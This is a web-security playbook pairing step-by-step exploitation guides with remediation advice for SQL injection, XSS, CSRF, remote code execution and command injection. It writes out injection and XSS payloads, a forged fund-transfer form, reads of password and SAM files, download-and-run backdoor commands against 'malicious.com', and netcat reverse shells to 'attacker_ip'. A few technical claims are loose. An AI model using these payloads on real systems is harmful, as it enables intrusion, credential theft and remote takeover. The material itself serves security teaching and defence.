"The Ultimate Vulnerability Playbook: A Hacker's Worst Nightmare"

"The Ultimate Vulnerability Playbook: A Hacker's Worst Nightmare"

SQL INJECTION
Brief Description of SQL SQL Injection (SQLi) is a common attack technique where
Injection malicious actors manipulate an application’s SQL queries by
injecting malicious SQL code into input fields. This allows
attackers to interfere with the application’s communication with the
database, potentially leading to unauthorized data access, data
modification, or even total database control. SQLi can expose
sensitive data, bypass authentication, or allow remote execution of
arbitrary commands.

Detailed Parameters  User Inputs Not Properly Sanitized: Untrusted input is

directly included in SQL queries without adequate
validation or escaping.
 Dynamic Generation of SQL Queries: SQL queries that
are dynamically constructed using user-supplied data are
particularly vulnerable when no input validation or query
parameterization is applied.
 Use of Concatenated Strings to Construct SQL Queries:
Concatenating user input with SQL query strings can allow
for malicious SQL code to be injected, leading to attacks.
 Lack of Input Validation: When user inputs are not
validated or sanitized, this opens the door for attackers to
inject harmful SQL code.
 Finding User Input to Communicate with Database:
Identifying which parts of a web application accept user
inputs that interact with the database is crucial for both
attackers and defenders.

Step-by-Step Step 1: Identify User Input Fields in Web Forms or URL

Exploitation Guide Parameters
 Use tools like Burp Suite or manually review the web
application for any user input fields (search boxes, login
forms, etc.) or query parameters in URLs that interact with
the database.
Step 2: Input Malicious SQL Commands
 Input basic payloads such as ' OR 1=1 -- or ') OR ('1'='1 in
user input fields to test if the input is improperly sanitized.
Step 3: Observe SQL Errors or Unexpected Behaviour
 If the application shows database errors (e.g., SQL syntax
error or similar), it may indicate the application is
vulnerable to SQLi. Unexpected behavior like bypassing
login forms is also a strong indicator.
Step 4: Determine Type of SQL Injection
 "The Ultimate Vulnerability Playbook: A Hacker's Worst Nightmare"

 Test for various types of SQL injection:

o Union-based SQL Injection: Inject a payload like
UNION SELECT to combine results from another table
or database.
o Error-based SQL Injection: Use payloads that force the
database to return an error with sensitive information
(e.g., column names).
o Boolean-based Blind SQL Injection: Insert payloads that
return TRUE or FALSE conditions to infer whether the
SQL query is valid.
o Time-based Blind SQL Injection: Use SQL sleep
functions (e.g., SLEEP(5)) to detect injection based on
response time.
Step 5: Exploit the Vulnerability
 Once a successful injection is found, exploit it to extract
data, bypass login forms, or execute other attacks. Use
payloads to retrieve sensitive information, dump database
contents, or gain administrative access.

Detailed Remediation  Use Parameterized Queries (Prepared Statements)

Guide for SQL Injection
Replace dynamic SQL query generation with parameterized
queries, where user input is treated as data and not as executable
SQL code. Most modern frameworks provide APIs for this.
 Implement ORM (Object Relational Mapping)
Use an ORM library to abstract SQL query creation and enforce
safe practices, eliminating the need for manual query construction
and preventing SQL injection.
 Input Validation and Sanitization
Validate and sanitize all user inputs to ensure they are in the
expected format (e.g., integers, specific text) before passing them
to SQL queries.
Disallow special SQL characters like single quotes ('), double
quotes ("), semicolons (;), and comment symbols (--) in user input
unless explicitly required.
 Use Least Privilege
Restrict database user privileges to the minimum necessary. For
example, the web application should not have permissions to drop
or alter tables.
 Error Handling
 "The Ultimate Vulnerability Playbook: A Hacker's Worst Nightmare"

Configure the application to handle SQL errors gracefully and

avoid exposing database error messages to users. Instead, return
generic error messages and log detailed errors for further
investigation.
 Web Application Firewall (WAF)
Use a WAF to detect and block common SQL injection payloads.
Tools like ModSecurity can help in preventing these attacks.
 Perform Regular Security Audits and Penetration
Testing
Conduct regular code reviews and penetration tests to identify and
fix potential SQL injection vulnerabilities. Use automated tools
(e.g., OWASP ZAP, SQLMap) as well as manual testing.

 Use Escaping Techniques Where Parameterization is

Not Possible
If parameterization is not feasible for some reason, use escaping
techniques to ensure that special characters in user inputs are
handled securely without executing as part of the SQL query. For
example, escape single quotes

Cross-Site Scripting (XSS)

Brief Description of Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to
Cross-Site Scripting inject malicious scripts (typically JavaScript) into web pages viewed by
(XSS) other users. When a user accesses a compromised page, the malicious
script executes in their browser, potentially leading to session hijacking,
redirection, or stealing sensitive data.

Detailed Parameters  User Inputs Not Sanitized: When user input (such as
comments, form data, or search queries) is displayed back to the
user in the webpage without sanitization or escaping, attackers
can inject malicious JavaScript.
 Dynamic HTML Generation: Websites that dynamically
generate HTML using user inputs without properly sanitizing
them are at high risk. This is common in frameworks or
environments where developers manually build HTML
responses.
 Types of XSS:
o Stored (Persistent) XSS: The malicious script is stored on the
server (e.g., in a database) and executed every time the page is
loaded by any user.
o Reflected XSS: The script is reflected off a web server (e.g.,
in a URL parameter or form response) and executed
 "The Ultimate Vulnerability Playbook: A Hacker's Worst Nightmare"

immediately, typically targeting the victim through a crafted

link.
o DOM-based XSS: The attack occurs on the client side, where
JavaScript modifies the DOM directly with untrusted input.

Step-by-Step Step 1: Identify Input Fields

Exploitation Guide Find user input fields, such as search boxes, comments, or forms, where
user data is reflected on the webpage or processed without sanitization.
Step 2: Test for Reflected XSS
Inject a basic XSS payload such as <script>alert('XSS')</script> into the
input field or URL parameters. If the alert box is executed, this indicates
the web application is vulnerable to reflected XSS.

Step 3: Test for Stored XSS

Inject the same payload into forms or areas where input may be stored
(e.g., user comments or message boards). If the script executes when the
page is revisited, this indicates stored XSS.
Step 4: Exploit the XSS
Upon discovering an XSS vulnerability, inject more malicious payloads
such as:
 <script>document.cookie</script> to steal session cookies.
 Use JavaScript to send the captured data to a malicious server.
Step 5: Bypass Filters (If Any)
If basic payloads fail, try bypassing security filters using obfuscation
techniques (e.g., using different encodings like
&#x3C;script&#x3E;alert&#x28;1&#x29;&#x3C;/script&#x3E;).

Detailed  Input Sanitization and Output Encoding

Remediation Guide
Sanitize inputs by removing or neutralizing special characters such as <,
for Cross-Site >, ', and " from user inputs.
Scripting (XSS)
Always encode user-supplied data before rendering it in the HTML
response using functions like htmlspecialchars() in PHP or equivalent in
other languages.

 Contextual Escaping
Ensure output is properly escaped for the specific context in which it
appears (e.g., HTML, JavaScript, URL). For example, use JSON
encoding for data embedded in <script> tags and URL encoding for
query parameters.

 Content Security Policy (CSP)

Implement a strong CSP header to prevent the execution of inline scripts
and mitigate the impact of XSS attacks. For example:
 "The Ultimate Vulnerability Playbook: A Hacker's Worst Nightmare"

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src

'none'

 Use Secure Frameworks

Use web frameworks like React, Angular, or Vue.js, which inherently
protect against XSS by automatically escaping user inputs.

 HTTP Only and Secure Cookies

Mark sensitive cookies (like session cookies) with the HTTP Only and
Secure attributes, which prevent them from being accessed via
JavaScript and ensure they are only sent over HTTPS.

Cross-Site Request Forgery (CSRF)

Brief Description Cross-Site Request Forgery (CSRF) is an attack where a malicious website
of Cross-Site tricks a user into submitting a request on another website where they are
Request Forgery authenticated (e.g., submitting a form, changing account settings, or
(CSRF) initiating a fund transfer). This is possible because web browsers
automatically include authentication credentials like cookies with every
request.

Detailed  User is Authenticated on Target Website:

Parameters
CSRF exploits rely on the user being logged into the target website. The
attack works by tricking the user into making requests that they are
authenticated for without their consent.

 Absence of Anti-CSRF Tokens:

Websites without anti-CSRF protection allow forged requests to be
submitted with the user’s credentials.

 Actions Triggered via GET or POST Requests:

Critical actions, such as fund transfers or account updates, can be performed
via predictable HTTP requests. These actions may include GET requests
(which are more susceptible to CSRF) or POST requests.
Step-by-Step Step 1: Identify Target Action
Exploitation Identify sensitive actions that can be executed via a GET or POST request.
Guide Examples include changing account settings, transferring funds, or
submitting forms.

Step 2: Craft a Malicious Request

Craft an HTML form or a script that automatically submits a request
mimicking the target action. For example:

<form action="https://victim.com/transfer" method="POST"> <input

type="hidden" name="amount" value="1000"> <input type="hidden"
name="recipient" value="attacker_account"> <input type="submit"
value="Submit"> </form>

Alternatively, craft a GET request as an image link:

 "The Ultimate Vulnerability Playbook: A Hacker's Worst Nightmare"

<img
src="https://victim.com/transfer?amount=1000&recipient=attacker_account"
style="display:none;">

Step 3: Trick the User into Submitting the Request

Host the malicious form on your server, and trick the target user into visiting
your site (e.g., through a phishing email). When the user loads the page,
their browser will automatically submit the request to the target website.

Step 4: CSRF Exploit

Once the forged request is submitted, the user’s credentials (such as session
cookies) will be sent with the request, causing the target action to be
performed without the user’s knowledge.
Detailed  Implement Anti-CSRF Tokens
Remediation
Generate a unique, unpredictable CSRF token for each user session and
Guide for Cross- include it in every form submission or state-changing request. The server
Site Request must validate this token on receiving a request to ensure it came from the
Forgery (CSRF) legitimate user.

 Same Site Cookies

Set the Same Site attribute on cookies to Strict or Lax. This ensures that
cookies are not sent with cross-site requests, preventing CSRF attacks.

 Validate HTTP Referer or Origin Headers

Check the Referer or Origin header to verify that requests are coming from a
trusted domain.

 Use POST Requests for Sensitive Actions

Avoid performing sensitive actions (such as deleting accounts or transferring
money) via GET requests. Always use POST for state-changing requests.

 Re-authentication for Critical Actions

Require users to re-authenticate or provide multi-factor authentication
(MFA) before performing critical actions, such as password changes or high-
value transactions.
 "The Ultimate Vulnerability Playbook: A Hacker's Worst Nightmare"

Remote Code Execution (RCE)

Brief Description of Remote Code Execution (RCE) is one of the most dangerous
Remote Code Execution vulnerabilities. It allows an attacker to execute arbitrary code on a
(RCE) target machine remotely, giving them complete control over the
affected system. This vulnerability often arises when untrusted user
inputs are executed as code without proper validation or
sanitization. RCE can lead to full system compromise, data theft,
service disruption, or the spread of malware across networks.

Detailed Parameters  Unvalidated User Input:

Any field that accepts user input and passes it to the underlying
system for execution without validating or sanitizing the input is
susceptible to RCE.
Common sources include file uploads, forms, query parameters, or
any other user-controlled data interacting with system commands
or APIs.

 Dynamic Code Execution:

Applications that dynamically execute code using functions such as
eval(), exec(), system(), shell_exec() in various programming
languages (PHP, Python, Ruby, etc.) are especially vulnerable if
user input is passed to these functions.

 File Upload Mechanisms:

Improper file upload handling can lead to RCE. For instance, if
users are allowed to upload files to the server and these files are
executed without proper verification, attackers can upload
malicious files (e.g., web shells or scripts) that will run on the
server.

 Server Misconfigurations:
Servers that are configured to run scripts or commands based on
user input can be susceptible. For example, allowing users to
specify the parameters for shell commands or API calls that interact
with the system can lead to code execution vulnerabilities.

Step-by-Step Step 1: Identify Input Fields That Interact with the System
Exploitation Guide Look for user input fields, URL parameters, or file upload
mechanisms that are likely to interact with the underlying operating
system (e.g., forms to upload images, forms that process
commands, etc.).
Step 2: Test Basic Command Execution
Inject common command-line commands that can be used to test
whether the input is passed directly to the system. For example:
 Unix: ; ls, ; whoami
 Windows: & dir, & whoami
If the command's output is reflected in the application's response, it
indicates the application is vulnerable.
Step 3: Escalate by Injecting Arbitrary Commands
After confirming that command injection is possible, craft more
complex payloads to manipulate the system. For example:
 "The Ultimate Vulnerability Playbook: A Hacker's Worst Nightmare"

 Reading Sensitive Files:

o Unix: cat /etc/passwd (read password file)
o Windows: type
C:\Windows\System32\config\SAM (read system
accounts)
 Download Malicious Code:
o Unix: wget http://malicious.com/backdoor.sh;
chmod +x backdoor.sh; ./backdoor.sh
o Windows: powershell -Command "Invoke-
WebRequest -Uri
http://malicious.com/malware.exe -OutFile
C:\temp\malware.exe"

Step 4: Establish a Reverse Shell

 A reverse shell allows the attacker to maintain long-term
access to the system. Once the vulnerability is identified,
the attacker can gain full access by sending a reverse shell
payload.
o Unix Example: nc -e /bin/sh attacker_ip 4444
o Windows Example: nc.exe -e cmd.exe attacker_ip
4444

In both cases, the attacker needs a listener on their machine (using

netcat or other tools) to catch the connection and take control of the
target system.

Step 5: Exploit Full System Compromise

 Once remote code execution is achieved, the attacker can
escalate privileges, persist access, exfiltrate sensitive data,
or use the compromised server to launch further attacks
(e.g., ransomware deployment or lateral movement).

Detailed Remediation  Input Validation and Sanitization:

Guide for Remote Code
Whitelist Input: Validate all inputs against a whitelist of allowed
Execution (RCE) characters and formats. For instance, if a field should only accept
numbers, restrict input to numeric characters.
Escape Dangerous Characters: Escape or remove dangerous
characters such as ;, |, &, >, <, and $ from user inputs that could be
interpreted as part of a command.
Use Prepared Statements: When interacting with databases or
command lines, always use prepared statements or parameterized
queries to avoid direct injection of user input into executable code.

 Disable Dangerous Functions:

Remove Execution Functions: Disable or avoid using functions like
eval(), exec(), shell_exec(), or system() unless absolutely
necessary. These functions can easily lead to RCE if improperly
handled.
Restrict File Uploads: Limit the types of files users can upload,
verify their file type and size, and never execute uploaded files.
Use strict validation to prevent the upload of executable files.
 "The Ultimate Vulnerability Playbook: A Hacker's Worst Nightmare"

 Enforce Strong Permissions:

Least Privilege Principle: Ensure that web applications and users
do not have root or administrator privileges. Run applications with
the minimum necessary permissions to limit the impact of
successful attacks.
Isolate Processes: Use containers, sandboxes, or virtual machines
to isolate processes from critical system files and services, reducing
the blast radius of an attack.

 Code Reviews and Security Audits:

Review Vulnerable Code: Regularly audit and review code that
interacts with the operating system, command-line tools, or
interpreters. Focus on sections where user inputs are processed.
Static and Dynamic Analysis: Employ both static code analysis
(SAST) and dynamic application security testing (DAST) tools to
identify potential vulnerabilities early in the development lifecycle.

 Use Web Application Firewalls (WAF):

Implement a Web Application Firewall to detect and block
malicious payloads. WAFs can provide an additional layer of
protection by filtering requests that contain known RCE attack
patterns, such as command injection strings.

 Keep Systems Updated:

Patch Vulnerabilities: Keep the server operating system, web
applications, and any dependencies (e.g., libraries, plugins) up-to-
date to mitigate known vulnerabilities that attackers can exploit for
RCE.

Command Injection
Brief Description of Command Injection is a critical vulnerability that occurs when an
Command Injection attacker can inject and execute arbitrary commands on the host
operating system via a vulnerable application. This typically
happens when untrusted user input is passed directly to a system
shell or command interpreter without adequate validation or
sanitization. Command Injection can lead to full system
compromise, allowing attackers to run malicious commands,
exfiltrate data, or even gain control of the entire system.

Detailed Parameters  Unvalidated User Input:

Command Injection vulnerabilities are often found in input fields
or parameters where user-supplied data is passed to system
commands. Examples include search forms, URL parameters, or
file upload paths that interact with the command line.

 Concatenation of Commands:
If the application dynamically constructs a command by
concatenating user input into system commands, it’s prone to
 "The Ultimate Vulnerability Playbook: A Hacker's Worst Nightmare"

injection. For instance, if a filename or user-input value is

appended directly to a command such as ls or ping, an attacker can
inject additional commands.

 Shell Execution Functions:

Applications that use functions like system(), exec(), popen(),
shell_exec() (in PHP, Python, Perl, etc.) are at high risk if user
inputs are passed to these functions without proper filtering.

 Special Characters:
Command injection typically exploits special shell characters such
as:
; – Allows chaining of multiple commands.
& – Executes commands sequentially.
| – Pipes the output of one command into another.
> – Redirects output to a file.
Step-by-Step Step 1: Identify Vulnerable Input Fields
Exploitation Guide Look for input fields that accept user inputs (e.g., form fields, URL
Guide parameters) that appear to pass data to the underlying system for
execution. Common areas include file upload paths, ping
commands, or search functions.

Step 2: Test for Command Injection

Begin by injecting simple special characters into the input field,
such as:
 Unix: ; ls, ; whoami
 Windows: & dir, & whoami
If the output of these commands is displayed on the web page or
system response, the input is likely vulnerable to command
injection.

Step 3: Escalate the Exploit

Once you confirm the vulnerability, inject more complex
commands to gain deeper system access:
 File Disclosure:
o Unix: cat /etc/passwd (lists user accounts)
o Windows: type
C:\Windows\System32\config\SAM
 Download Malware:
o Unix: wget http://malicious.com/backdoor.sh;
chmod +x backdoor.sh; ./backdoor.sh
o Windows: powershell -Command "Invoke-
WebRequest -Uri
http://malicious.com/malware.exe -OutFile
C:\temp\malware.exe"

Step 4: Establish Remote Control via Reverse Shell

Inject a payload that creates a reverse shell to connect back to the
attacker's machine. For instance:
 Unix: nc -e /bin/sh attacker_ip 4444
 Windows: nc.exe -e cmd.exe attacker_ip 4444
 "The Ultimate Vulnerability Playbook: A Hacker's Worst Nightmare"

Set up a listener on your machine (using netcat or a similar tool) to

capture the reverse connection and gain remote control over the
target system.

Step 5: Post-Exploitation
Once you gain control of the system, use privilege escalation
techniques to gain root or administrator access, exfiltrate sensitive
data, or pivot to other parts of the network.

Detailed Remediation  Input Validation and Sanitization:

Guide for Command
Injection Whitelist Approach: Validate all user inputs against a strict
whitelist of allowed characters and inputs. If input should only be
numeric, restrict it to numbers only.

Escape Special Characters: Escape or remove any special

characters that could be used for command injection (e.g., ;, |, &, >,
<, $, &&, etc.). Many programming languages offer built-in
functions to escape such characters.
PHP: escapeshellcmd()
Python: subprocess.run()

 Avoid Direct System Command Execution:

Use Safe APIs: Instead of directly calling shell commands using
system() or exec(), use language-specific functions or libraries
designed for safe execution. For example:
In Python, use the subprocess module instead of os.system().
In PHP, avoid using shell_exec() and use language constructs that
don’t involve command-line execution.

 Parameterized Commands:
If you must interact with the command line, ensure that user input
is parameterized properly, and avoid concatenating user input into
system commands. For instance, instead of:

system("ping " . $_GET['ip']);

$ip = escapeshellarg($_GET['ip']); system("ping $ip");

 Principle of Least Privilege:

Run Applications with Minimum Permissions: The application
should run with the minimum necessary privileges. If possible,
isolate risky components (such as those that run shell commands)
in a secure, restricted environment, like a sandbox or container, to
minimize potential damage.
User Privileges: Do not run web applications or their dependent
services as root or administrator. This limits the attacker's ability to
escalate privileges if they successfully inject commands.

 Regular Code Reviews and Audits:

Periodically review code that interacts with system commands or
shell environments, especially those taking user inputs. Perform
"The Ultimate Vulnerability Playbook: A Hacker's Worst Nightmare"

thorough security audits to identify potential command injection

points.
Use Static Analysis Tools: Static analysis tools can help detect
dangerous functions and insecure input handling in code.
Incorporate these tools into your development pipeline to catch
vulnerabilities early.

 Web Application Firewalls (WAFs):

Implement a WAF that can detect and block common command
injection attempts by filtering out malicious input patterns. WAFs
are a supplementary security measure that helps mitigate injection
attacks.

 Limit Command Execution:

Limit the range of commands that can be executed by the web
application. For example, if the application needs to execute system
commands, restrict its permissions to only specific commands (e.g.,
only ping, not the entire shell).

 Log and Monitor:

Log all system commands executed by the application and monitor
these logs for suspicious activity. Monitoring command execution
can help detect and respond to command injection attacks in real-
time.
"The Ultimate Vulnerability Playbook: A Hacker's Worst Nightmare"